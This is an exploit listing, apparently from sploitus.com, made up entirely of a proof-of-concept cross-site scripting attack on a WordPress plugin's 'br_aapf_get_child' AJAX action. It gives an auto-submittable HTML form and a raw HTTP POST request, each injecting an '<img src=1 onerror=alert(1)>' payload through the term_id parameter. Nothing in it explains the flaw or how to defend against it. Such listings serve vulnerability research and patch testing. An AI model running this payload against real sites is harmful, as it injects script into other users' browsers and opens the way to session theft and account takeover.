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## https://sploitus.com/exploit?id=WPEX-ID:B92EC5F7-D6A8-476F-A01E-21001A558914
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="br_aapf_get_child" />
      <input type="hidden" name="type" value="any-string" />
      <input type="hidden" name="term_id" value='"<img src=1 onerror=alert(1)>"' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Cookie: [unauthenticated/any authenticated user]

action=br_aapf_get_child&type=any-string&term_id="<img%20src=1%20onerror=alert(1)>"